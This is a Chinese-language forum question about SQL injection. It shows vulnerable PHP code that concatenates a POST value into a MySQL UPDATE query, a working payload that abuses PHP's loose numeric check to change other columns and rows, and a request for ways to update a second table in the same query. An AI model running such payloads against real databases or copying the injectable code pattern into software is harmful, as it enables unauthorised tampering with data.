我正在学习一些高级SQL注入技术,但最终我发现了一些更难的东西。
我有这样的PHP代码(我无法改变这一点,它的PHP + MySQL 5.6.19 [InnoDB] ):
$newValue = $_POST['newvalue'];
if ($newValue > 1000)
mysql_query("UPDATE `table` SET `column1`='".$newValue."' WHERE `id`='".$id."'");
我已经找到了一种通过在POST参数的开头传递一个有效数字来愚弄PHP的方法,就像这样(这个改变了其他列值,这很好,作品):
1001', `column2` = 'some_value' WHERE `id` = 'some_other_value';#
现在我想在同一个UPDATE查询中更改(更新)其他表。 切记!我无法更改代码,而mysql_query不允许堆叠查询(您无法执行多个查询,以分号分隔它们)。
理论上,它可能看起来像这样(当然,它不起作用):
1001' WHERE `id` = 'some_other_value' OR (UPDATE `table2` SET ... = ... LIMIT 1);#
或(某些理论技巧):
1001'*(UPDATE `table2` SET ... = ... LIMIT 1) WHERE `id` = 'some_other_value';#
你有什么想法吗? 谢谢你的帮助。